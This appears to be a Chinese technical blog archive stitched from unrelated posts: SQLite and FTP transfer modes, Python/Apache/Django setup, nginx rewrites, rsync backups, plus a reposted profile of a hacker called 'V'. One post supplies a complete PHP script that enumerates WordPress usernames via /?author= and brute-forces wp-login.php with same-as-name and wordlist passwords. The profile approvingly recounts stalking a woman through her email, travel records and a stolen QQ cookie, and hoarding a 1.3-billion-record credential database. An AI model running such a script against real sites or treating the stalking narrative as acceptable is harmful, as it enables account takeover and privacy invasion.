leadscloud

Google SEO|外贸营销推广

在本地服务器通过php创建sqlite数据库,或者通过工具比如sqliteadmin创建的sqlite数据库,使用是正常的,但如果上传到服务器上,再通过php打开会现错误:Error: database disk image is malformed, 提示你的数据库文件有损坏,以前一直找不到原因,今天从同事那儿得到解决办法,原来是因为自己使用FTP工具 filezilla上传数据库文件时没有更改传输模式,我使用的是默认,改为二进制模式即可解决此问题,另外,你把数据库压缩成zip格式后,再上传也能解决此问题。

FTP的传输有两种方式:ASCII传输模式和二进制数据传输模式。

1.ASCII传输方式:假定用户正在拷贝的文件包含的简单ASCII码文本,如果在远程机器上运行的不是UNIX,当文件传输时ftp通常会自动地调整文件的内容以便于把文件解释成另外那台计算机存储文本文件的格式。

但是常常有这样的情况,用户正在传输的文件包含的不是文本文件,它们可能是程序,数据库,字处理文件或者压缩文件(尽管字处理文件包含的大部分是文本,其中也包含有指示页尺寸,字库等信息的非打印字符)。在拷贝任何非文本文件之前,用binary 命令告诉ftp逐字拷贝,不要对这些文件进行处理,这也是下面要讲的二进制传输。

2.二进制传输模式:在二进制传输中,保存文件的位序,以便原始和拷贝的是逐位一一对应的。即使目的地机器上包含位序列的文件是没意义的。例如,macintosh以二进制方式传送可执行文件到IBM VM系统,在对方系统上,此文件不能执行。(但是,它可以从VM系统上以二进制方式拷贝到另一macintosh,是可以执行的)。

如果你在ASCII方式下传输二进制文件,即使不需要也仍会转译。这会使传输稍微变慢 ,也会损坏数据,使文件变得不能用。(在大多数计算机上,ASCII方式一般假设每一字符的第一有效位无意义,因为ASCII字符组合不使用它。如果你传输二进制文件,所有的位都是重要的。)如果你知道这两台机器是同样的,则二进制方式对文本文件和数据文件都是有效的。

数据库文件记得使用二进制模式!

测试代码如下:

1
2
3
4
5
6
7
<?php
if (extension_loaded('sqlite')) {
echo 'Support';
}else{
echo 'Not Support';
}
?>

另外一个测试代码,测试sqlite3的

1
2
3
4
5
6
7
8
<?php
$db = new SQLite3('mysqlitedb.db');

$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>

在linux命令下测试:

1
php -i | grep -i sqlite3

应该会出现以下代码:

1
2
3
4
sqlite3
SQLite3 support => enabled
SQLite3 module version => 0.7-dev
sqlite3.extension_dir => no value => no value

我的php5.2.3默认是支持sqlite3的,如果不支持,你可以升级下PHP

SQLite3 扩展自 PHP 5.3.0 起已默认启用。 允许在编译时使用 –without-sqlite3 禁用之。

Windows 用户必须启用 php_sqlite3.dll 方可使用该扩展。自 PHP 5.3.0 起,此扩展的 DLL 文件 已包含于 Windows 版的 PHP 发行包中。

windows sqlite3启用办法:

    在php.ini中把extension=php_sqlite3.dll前面的分号去掉

军哥的LNMP0.9 PHP 5.2.17p1 (cli) 可能不支持sqlie3
你可以选择升级PHP,或者使用以下方法安装:

1
2
3
4
5
6
7
8
9
cd ~
wget http://pecl.php.net/get/sqlite3-0.6.tgz
tar -zxf sqlite3-0.6.tgz
cd sqlite3-0.6/
phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make
make install
/etc/init.d/httpd restart

安装完成后如果还是不行,需要修改php.ini( vi /usr/local/php/etc/php.ini)一个配置
[在命令下查看配置文件路径的方法: php -i | grep 'Configuration File']

1
2
3
4
; Directory in which the loadable extensions (modules) reside.
extension_dir = "/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/"
extension = "memcache.so"
extension = "pdo_mysql.so"

修改为

1
2
3
4
5
; Directory in which the loadable extensions (modules) reside.
extension_dir = "/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/"
extension = "memcache.so"
extension = "pdo_mysql.so"
extension = "sqlite3.so"

重启服务即可。

但是当我执行 文件时出错了
SQLite header and source version mismatch
解决办法参考:
http://stackoverflow.com/questions/6696861/how-do-i-upgrade-my-sqlite3-package-on-debian-lenny

其它

sqlite3 数据库错误,Error: database disk image is malformed 目前搜索的解决的方案都说无法解决。只能通过备份解决,此问题是在本地测试正常,上传到服务器时出现此错误,你可以在本地通过备份操作,先导出数据库为sql文件,然后上传sql文件,在服务器端重新创建。

备份操作:

1
2
3
sqlite3  testdb ".dump" > dump
mv testdb.mdb testdb.mdb.backup
cat dump | sqlite3 testdb.mdb

更新: 由于使用ftp工具直接上传的sqlite数据库,所以出现问题,你可以把传输模式改为二进制。或者打包成压缩后再传输。经测试可以解决上传之后的sqlite数据库database disk image is malformed问题。

windows7 64位 XAMPP python3.3.2 web环境搭配

本来根据网上的资料想使用mod_python,可是没有对应python3.3.2的版本,在http://stackoverflow.com/questions/3319545/mod-wsgi-mod-python-or-just-cgi这个问题上,发现是建议使用mod_wsgi
http://code.google.com/p/modwsgi/wiki/DownloadTheSoftware?tm=2 了解到mod wsgi在window下的安装过程。

mod_wsgi的下载地址为:http://www.lfd.uci.edu/~gohlke/pythonlibs/#mod_wsgi

根据版本号下载相应文件,python3.3.2对应
http://www.lfd.uci.edu/~gohlke/pythonlibs/bmsicnqj/mod_wsgi-3.4.ap24.win-amd64-py3.3.zip

解压mod_wsgi.so并复制到你的apache安装目录下的modules文件夹下,比如我的使用的是xampp,相应的apache目录为 D:\xampp\apache\modules

在httpd.conf文件中加入

LoadModule wsgi_module modules/mod_wsgi.so

但总是失败 can not load modules/mod_wsgi.so into server ,最后是把xampp中的apache替换成 http://www.apachelounge.com/download/ 这个网站上的相应版本的apache,然后才成功。 【Apache2.4.4需要VC10库支持】

下载2.4后,mod_wsgi可以用了,但xampp与php的联系不可用了,重新下载php5.4 VC11 x64解决问题。
http://windows.php.net/downloads/releases/php-5.5.10-Win32-VC11-x64.zip

还需要修改httpd.conf ,添加以下代码

1
2
3
4
5
WSGIScriptAlias /googlescrape "D:/workfiles/wwwroot/googlescrape/"
<Directory "D:/workfiles/wwwroot/googlescrape">
Order allow,deny
Allow from all
</Directory>

在xampp中,你也可以添加到httpd-vhosts.conf中

也行你会发现新装php后,mysql连接不能用了
解决办法
复制一份php.ini-development为php.ini, 在PHP.ini中找到
extension_dir = "ext" (大约852行)
改为
extension_dir = "d:/php/ext"
并去掉注释

找到;extension=php_mysql.dll (大约1005行)
将’;’去掉,改为
extension=php_mysql.dll

重启apache服务即可。

Django 是 使用 easy_install Django 安装的。

进入相应目录(例如:D:\workfiles\wwwroot\)使用Django-admin.py startproject googlescrape 生成相应项目
如果需要数据库使用:
执行 manage.py syncdb 生成数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
D:\workfiles\wwwroot\googlescrape>manage.py syncdb
Creating tables ...
Creating table django_admin_log
Creating table auth_permission
Creating table auth_group_permissions
Creating table auth_group
Creating table auth_user_groups
Creating table auth_user_user_permissions
Creating table auth_user
Creating table django_content_type
Creating table django_session

You just installed Django's auth system, which means you don't have any superuse
rs defined.
Would you like to create one now? (yes/no): yes
Username (leave blank to use 'administrator'): admin
Email address: xxx@gmail.com
Password:
Password (again):
Superuser created successfully.
Installing custom SQL ...
Installing indexes ...
Installed 0 object(s) from 0 fixture(s)

注:
有个相关教程在里:http://enkoding.blogspot.jp/2013/01/setup-python-for-web-in-7-steps-on.html, 可能需要翻墙,我的安装比较麻烦,主要是我的xampp不支持上面的各种mod_wsgi,我最后不得不在http://www.apachelounge.com/download/重新下载apache2.4

查到相关资料,可能是因为mod_wsgi必须是apache版本64位的,所以32位的会出问题,可以尝试下载一个64位的xampp试试,我目前还没有尝试。

参考资料:
http://agong.org/2013/windows64-python3-apache-wsgi-django.html
http://www.cnblogs.com/zhoujie/archive/2013/05/11/django1.html
http://www.cnblogs.com/wang_yb/archive/2011/04/14/2016513.html
http://www.vimer.cn/2010/09/apachemod_wsgidjango%E5%9C%A8windows%E4%B8%8B%E7%9A%84%E9%83%A8%E7%BD%B2.html

安装方法见: https://pypi.python.org/pypi/setuptools/0.9.8#windows

安装过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
copying setuptools.egg-info\top_level.txt -> build\bdist.win-amd64\egg\EGG-INFO
copying setuptools.egg-info\zip-safe -> build\bdist.win-amd64\egg\EGG-INFO
creating dist
creating 'dist\setuptools-3.1-py3.3.egg' and adding 'build\bdist.win-amd64\egg'
to it
removing 'build\bdist.win-amd64\egg' (and everything under it)
Processing setuptools-3.1-py3.3.egg
Copying setuptools-3.1-py3.3.egg to c:\python33\lib\site-packages
Adding setuptools 3.1 to easy-install.pth file
Installing easy_install-script.py script to C:\Python33\Scripts
Installing easy_install.exe script to C:\Python33\Scripts
Installing easy_install-3.3-script.py script to C:\Python33\Scripts
Installing easy_install-3.3.exe script to C:\Python33\Scripts

Installed c:\python33\lib\site-packages\setuptools-3.1-py3.3.egg
Processing dependencies for setuptools==3.1
Finished processing dependencies for setuptools==3.1

运行python程序时出现

No module named 'requests'
You can install missing modules with `pip3 install [modulename]`

安装好setuptools后,使用以下命令即可安装 requests

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Python33\Scripts>easy_install.exe requests
Searching for requests
Reading https://pypi.python.org/simple/requests/
Best match: requests 2.2.1
Downloading https://pypi.python.org/packages/source/r/requests/requests-2.2.1.ta
r.gz#md5=ac27081135f58d1a43e4fb38258d6f4e
Processing requests-2.2.1.tar.gz
Writing c:\users\admini~1\appdata\local\temp\easy_install-4bjzke\requests-2.2.1\
setup.cfg
Running requests-2.2.1\setup.py -q bdist_egg --dist-dir c:\users\admini~1\appdat
a\local\temp\easy_install-4bjzke\requests-2.2.1\egg-dist-tmp-9woril
Adding requests 2.2.1 to easy-install.pth file

Installed c:\python33\lib\site-packages\requests-2.2.1-py3.3.egg
Processing dependencies for requests
Finished processing dependencies for requests

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。

原理是通过URL /?author= 遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户,可自行修改。

使用方法:

1
php wordpress.php http://www.test.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

set_time_limit(0);
$domain = $argv[1];

//获取用户名
for ($i=1; $i <= 10; $i++) {

    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "/author\/(.*)\/feed/";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}

echo "共获取用户".count($namearray)."名用户\n";

echo "正在破解用户名与密码相同的用户:\n";

$crackname = crackpassword($namearray,"same");

$passwords = file("pass.txt");

echo "正在破解弱口令用户:\n";

if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}

crackpassword($namearray,$passwords);

function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&amp;pwd=".urlencode($name)."&amp;wp-submit=%E7%99%BB%E5%BD%95&amp;redirect_to=".urlencode($domain)."%2Fwp-admin%2F&amp;testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&amp;pwd=".urlencode($pass)."&amp;wp-submit=%E7%99%BB%E5%BD%95&amp;redirect_to=".urlencode($domain)."%2Fwp-admin%2F&amp;testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}

function httprequest($url,$post){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

    $output = curl_exec($ch);
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}
?>

原文:http://drops.wooyun.org/tools/601

0xhost免费1G空间申请/50G流量/支持绑定5个域名!没有过多的介绍,典型的国外CP分销商,免费空间申请比较简单,只需3个步骤:注册-收邮件-登陆后台,值得注意的是该主机商域名为新注册的,持久性还有待验证,下面给出免费空间的详细信息:

1000MB磁盘空间

50GB的带宽

5插件域

5MySQL数据库

5个域名停放

5子域

无广告

cPanel面板

即时激活

LNMP下的301重定向与lnmpa下的重定向不太一样,需要设置nginx的重写规则。比如常用的非www域名重定向到www域名上,或者把index.html重定向到目录下 /

下面是找到的关于lnmpa下的nginx配置规则

1
2
3
4
5
6
if ( $request_uri ~* /index\.(html|htm|php)$ ) {
rewrite ^(.*)index\.(html|htm|php)$ $1 permanent;
}
if ($host !~* ^www\.) {
rewrite ^/(.*)$ $scheme://www.$host/$1 permanent;
}

如果你添加一个虚拟主机,在server下 添加上面的规则即可。

如果你想要从一台电脑上备份一个目录,但你仅仅想要复制改变的文件到它的备份而不是复制所有的东西到各自的备份,你可以使用工具rsync来实现它。你需要在这个远程的源备份计算机上有一个账户。下面是这条命令:

rsync -vare ssh root@192.168.1.10:/home/wwwroot/love4026.org/* /home/wwwroot/love4026.org/

Rsync 参数选项说明

-v, –verbose 详细模式输出
-q, –quiet 精简输出模式
-c, –checksum 打开校验开关,强制对文件传输进行校验
-a, –archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD
-r, –recursive 对子目录以递归模式处理
-R, –relative 使用相对路径信息
-e, –rsh=COMMAND 指定使用rsh、ssh方式进行数据同步

-l, –links 保留软链结
-p, –perms 保持文件权限
-t, –times 保持文件时间信息
-g, –group 保持文件属组信息
-o, –owner 保持文件属主信息
-D, –devices 保持设备文件信息
-z, –compress 对备份的文件在传输时进行压缩处理

rsync使大型目录结构保持同步。通过SSH使用tar远程复制一个文件系统的一部分是非常理想的,sync甚至更适合保持两台机器之间的文件系统的同步。为了使用SSH运行一个rsyns,传递给它一个-e转换:

rsync -ave ssh greendome:/home/ftp/pub/ /home/ftp/pub/

注意从源端(在greendome上)来的文件说明后面的 / ,在源说明中,一个尾部的 / 告诉rsync这个目录的内容,但不是目录本身。为了将目录放入正在复制的内容的最高等级丢掉这个 /:

rsync -ave ssh bcnu:/home/six .

这将在 ~/six/目录下保持一个与bcnu:/home/six/上的任何东西同步的复制品。rsync默认只拷贝文件和目录,但是当源端移除了文件时并不会在目的端移除它们的拷贝。为了保持复制的精确性,包含–delete这个标志:

现在当老的报表从greendome上的one/reports/中移除了,在同步版本中,每次这个命令运行时,它们也将会从six/public_html/reports/中移除。如果你在corn中像这样运行一条命令,记得丢掉v。这将会使输出稳定(除非rsync在运行中出现问题,在这种情况下你将会收到一封有错误输出的邮件)。使用SSH作为你的rsync运输方式,这样做的好处是使数据在网络传输过程中加密,并可以方便使用任何你已经用SSH客户端密钥建立的信任关系。

rsync -ave ssh--delete greendome:~one/reports .

更新:备份远程数据库还有一个方法,此方法不要求两边的电脑上都必须安装rsync,就是使用tar命令。一边tar一边通过ssh传到服务器并且自动解压缩,最后会得到远程服务器上文件夹的一份完美备份,并且在目标服务器上不会写入任何文件。方法如下:

tar zcf - /some/localfolder | ssh remotehost.domain.com "cd /some/path/name; tar zxpf -"

Pyuthon如果需要升级,请按以下步骤执行,注意版本号不同,命令可能会有所不同,注意下版本号数字就行,别输错了。

先升级Python,执行

1
2
3
4
5
6
7
8
wget http://www.python.org/ftp/python/2.7.5/Python-2.7.5.tgz
tar zxvf Python-2.7.5.tgz
cd Python-2.7.5
./configure
make all
make install
make clean
make distclean

目前的路径应该是/usr/local/bin/python2.7,顺便看下版本

1
/usr/local/bin/python2.7 -V

然后查下当前的版本

python -V

我这里显示的是2.6.6

1
2
mv /usr/bin/python /usr/bin/python2.6.6
ln -s /usr/local/bin/python2.7 /usr/bin/python

现在再看下版本

python -V

应该显示2.7.5了

以上操作可以不执行,现在来说下如何安装pip

安装pip前,可能会需要让你安装setuptools

1
2
wget https://pypi.python.org/packages/2.6/s/setuptools/setuptools-0.6c11-py2.6.egg --no-check-certificate
sh setuptools-0.6c11-py2.6.egg

安装好后,如下所示:

1
2
3
4
5
6
7
8
9
10
[root@zhongwen ~]# sh setuptools-0.6c11-py2.6.egg
Processing setuptools-0.6c11-py2.6.egg
Copying setuptools-0.6c11-py2.6.egg to /usr/local/lib/python2.6/site-packages
Adding setuptools 0.6c11 to easy-install.pth file
Installing easy_install script to /usr/local/bin
Installing easy_install-2.6 script to /usr/local/bin

Installed /usr/local/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg
Processing dependencies for setuptools==0.6c11
Finished processing dependencies for setuptools==0.6c11

正式安装pip,此为依pip 1.4为例

1
2
3
4
wget --no-check-certificate https://pypi.python.org/packages/source/p/pip/pip-1.4.tar.gz
tar -zxvf ./pip-1.4.tar.gz
cd pip-1.4
python setup.py install

升级python后会导致yum不可用,解决办法如下:

vi /usr/bin/yum
#/usr/bin/python to #/usr/bin/python2.6

或者下载rpm包重新安装下yum

http://mirror.centos.org/centos/5/os/x86_64/CentOS/yum-3.2.22-40.el5.centos.noarch.rpm

1
rpm -Uvh --replacepkgs yum-3.2.22-40.el5.centos.noarch.rpm

V

他是我所认识的最强大的地下黑客之一,在本文中我姑且称他为V。

之所以是之一,是因为我还认识另外一个叫A的黑客,A宣称自己成功入侵了包括Google、Facebook、Twitter等你几乎能叫得上名字的所有大型互联网公司。

而V要低调的多。

我认为V已经是地下黑客世界中的王者,虽然他从不肯告诉我他入侵的那些公司的名字,但我仍然会毫不犹豫的将他列为当今世界上最强大的黑客之一。

V至今仍恪守着古老的黑客守则,就如同中世纪的骑士们执着于骑士精神一般。他从不在任何公众场合谈论入侵了什么网站,入侵后也从不删除数据或是进行破坏,他也不会用入侵获得的成果来牟利。

V只是一个人,他的身后没有任何的机构或组织,因此才更加的难能可贵。

幽灵

“我曾经持续观察了一个女孩3年,3年中一直看着她和男朋友谈情说爱。她是个美女,我只见过她两次,是朋友的朋友。

最后她没有选择一直在谈情说爱的男朋友,而是和一个比她大了8岁的男人结婚。当她和那个比她大8岁的男人的结婚照出现在相册时,我彻底被现实社会给击败了。”

V坦诚,有时候他喜欢窥探他人的隐私。我告诉他,窥私欲是人类的天性,是所有黑客走上黑客之路的源动力。

QQ查找好友的“可能认识的人”,把女孩推荐给了V(朋友的朋友)。女孩用自己的照片做了头像,所以一眼就能认出来。随后V查看了女孩的个人资料,知道了女孩的邮箱地址。V查出了女孩用的网易邮箱的密码(下文会解释),发现密码很有规律,是“姓名全拼+!@#”,或者“woaini+生日+姓名全拼”。

V进入女孩的邮箱后,发现女孩注册了12306用来订火车票。V通过这个注册邮箱,获取了女孩在12306的密码。登录12306后,V得到了女孩和她家人的所有身份证信息以及出行记录。同时女孩在携程上预订的机票信息也会发送到这个邮箱。自此,女孩只要出行想去什么地方,去过哪里,全都在V的掌控之中。

网易邮箱为了保护账户安全可以绑定QQ。V看到女孩的网易邮箱没有绑定QQ,就去绑定了一个自己的QQ。这样就算女孩把邮箱密码换了,V也能够通过绑定的QQ号强制改回来,从而实现了对女孩的终生监控。女孩至今都没发现安全认证的QQ号不是自己的。

有一次,V用一个QQ的XSS漏洞,获得了女孩在腾讯的Cookie,从而能够浏览她的微博私信、QQ空间、私人相册、朋友网、QQ每天都和谁说话了,QQ每天在哪里登陆过(如果对此技术有疑惑或者有兴趣的朋友可以查阅拙作《白帽子讲Web安全》)。V就像一双隐形的眼睛,在背后默默的注视着女孩的一举一动,一颦一笑。也许V比女孩最亲密的人,都更了解女孩的一切。

这里没有什么狗血的爱情故事,V只是默默的观察着,而从未惊动过女孩。

V还控制了很多大型商场、写字楼的内网。有一段时间,他曾经研究过保安的行为。

“公司给保安们安排的监控电脑,是无法上网消遣的。我看到有几个技术型保安,买了一个叫如意天线的东西,专门破解附近无线密码的玩意,还带无线网卡功能。

他们把用来监控的电脑装上了这个如意天线网卡,破解了写字楼很多楼层的密码,记录在一个文档里面。比如:WIFI名,密码是多少的一个文档,大约有几十个。

保安对于整个商场的网络安全来说,是个很大的隐患。我还特意登录了他们用的客户端,看他们平时都做些什么,研究他们。保安们每天用电脑的需求就是聊QQ,上网看电影。”

我想监守自盗,不过如此吧。

控制了商场的内部系统就能修改充值卡、积分卡的数据,从而免费购物,V也验证过这一点。

翻手为云

不过观察女孩、研究保安、控制商场和写字楼都只是V强大能力的冰山一角。V通过控制公共服务设施,具备了很多只在电影中出现的很科幻的能力。

V都不太好意思提像“伪造任意手机号码发送短信”等半公开的技术。V能够做到查询指定手机的短信内容、通讯记录。还能查到指定手机号当前所在基站的编号,然后找到对应编号基站的物理地址,这意味着他能快速定位到任何一个人的真实地理位置所在。这一切都基于V对运营商内部系统权限的控制。也许你已经意识到了,控制了运营商的内部系统,就可以针对每个省的手机用户实现定向推送短信。

V已经拥有了强大的舆论控制能力。借助社交网络和新闻资讯网站,以及运营商级别的手机广播,V可以让自己的思想在10分钟内传遍整个互联网。但V从未滥用过他的能力。

V控制了大部分粉丝数量在百万和千万级的微博大号,他给我展示的战果里不乏像苍井空、欧弟这样的人民艺术家。他告诉我,大部分微博大号都是经纪人在打理,而非本人,真不知道粉丝们每天瞎起个什么劲。所以“何润东”同学的“大概8点20分发”可能也是这样闹出来的乌龙。V在一些影响力巨大的微博大号后台里仔细研究过他们的行为,有些大号也是本人在操作,比如李开复、keso等意见领袖。

“咳咳,那个谁,keso同学,你的密码是7位的数字,赶紧找个时间改改吧!”

如同往常一样,V并未惊动这些大号们,只是在背后默默的观察着他们的一言一行。

“观察女孩子是猥琐的事情,我还希望能够做些正义的事情。”,V说。

“你有没有想过未来像维基解密的创始人阿桑奇一样,揭露一些真相?”,我问。

“也许吧,我希望让更多‘需要靠奥特曼打小怪兽培养正义感’的年轻人们,能够有机会倾听到社会真正的声音。”,V如是说。

无独有偶,阿桑奇在接受TED采访时,也谈到“纳税人有权知道他们缴税来支撑的这些事情的真相。”

自古侠以武犯禁,人在做,天在看。多行不义者,小心会被V盯上后“研究一段时间”。

V告诉我,他控制过很多电力、自来水、煤气等基础设施服务公司。以电力公司为例,一个小区在开发商开发好后,随着房子卖出,物业公司会联系电力公司为每家每户布线装表。此时,业主的联系信息(和房产证的信息基本一致)将被写入电网的相关系统,只要在电网、自来水公司、煤气公司的数据库里查询一下记录,就能查出很多“房叔”、“房姐”之类的人。

地下世界的王者

对于真正强大的黑客来说,已经勿须再关注是否能控制个别网站的权限,V所控制的权限都是以“行业”为单位来划分的。

“网页游戏行业90%的公司,一些大型电商、大型论坛,80%的连锁酒店行业,80%以上的在线预订行业,手机App排行比较高的公司,几家最大的航空公司……”,V拉出了长长的一串名单。

我问V,“还有什么网站是你黑不掉的吗?”

V答道:“目前成功率是100%,只要有耐心,还没有黑不掉的。

有几个站,我已经持续盯了6年了,我的感觉是快要拿下了。

黑站黑多了,你就会有这样的直觉。”

我想任何网站一旦知道有一个像V这样的人在长期惦记着,都会感到毛骨悚然吧。这种长期的、持续的攻击方式,在安全行业里有一个专业术语,叫APT(Advanced Persistent Threat)。但V对此不屑一顾,他不知道为什么这么好玩的事情一定要加上一个专业名词。

“以前我会自己去找一些WEB程序的0day,现在基本上不需要了。

现在靠的是对目标的了解。把目标分解后,不一定非得在WEB系统上耗时间。和目标相关的所有人,或者同一交换机,同一骨干路由下的服务器也会成为我的攻击目标。

每一次攻击行为都做到极致,对手其实是自己,而不是任何其他系统或人。重要的是整个攻击过程开心就好。还有一种感觉我说不出来。每一次证实自己的想法,做到极限的时候,都会伴随着快感。”

V发现了很多独特的,有创意的攻击手法,他也乐在其中。“Hacking For Fun”在他的身上体现的淋漓尽致。

领先一个时代的攻击技术

V对国内的公司兴趣已经不大了,因为没什么挑战。目前V走上了国际化的道路。

他最大的成就,是积累了一个去重后有13亿条数据的数据库。每条记录,都包含了用户名、密码、身份证号(社保ID)、手机号、邮箱、登录IP等信息。

对于V来说,想知道谁的密码,只需要在库中简单的查询一下,马上就得到了。有时候密码经过了哈希算法的处理,需要经过彩虹表的反查,或者V会拿到一个云计算中心去用分布式计算框架破解(对技术有疑惑或者有兴趣的读者可以参阅拙作《白帽子讲Web安全》)。所以V能够直接查到女孩的邮箱密码。

“道哥,你的Facebook账号和Twitter账号都是同一个弱口令,好多年了,改改吧。”,V一脸坏笑的对我说。

V在入侵的过程中,遇到任何需要破解的账户,大部分都可以直接查询出密码,无往而不利。这个数据库,像滚雪球一样越滚越大,最终量变形成了质变。

在前几天,Youtube刚刚宣布他们的月度活跃用户数达到了10亿,这意味着互联网上每两个网民中就有一个是Youtube的活跃用户。V可能会在背后暗自偷笑吧,他的13亿去重后的用户数据,也覆盖了半个互联网。每两个人中,就有一个人的密码在V的掌控,你会不会是那一个人呢?

当其他的小黑客们还在摆弄着各种扫描器和0day的时候,V已经用领先了整整一个时代的技术 —- 大数据的方式 —- 来黑网站了。

在真正强大的黑客面前,互联网公司的任何防御措施都像是一张纸,显得如此的薄弱,一捅就破。黑客们只能靠道德来约束自己的行为,能力越强,责任越大。

V最后给了我一张图,也许你们已经猜到了,就是本文的配图(点击图片可查看高清无码大图)。V从他的13亿条记录中轻巧的抽取出了80万登录IP,绘制了这张铺满全世界的地图:

从空旷的格陵兰岛,到炽热的撒哈拉大沙漠;从寒冷的西伯利亚,到充满野性的亚马逊丛林;从北极冰原,到太平洋、大西洋上星罗密布的岛屿;

V,在这个星球上,还有什么地方是你不曾征服的吗?你点亮了全世界!

原文:http://www.javaranger.com/archives/849

0%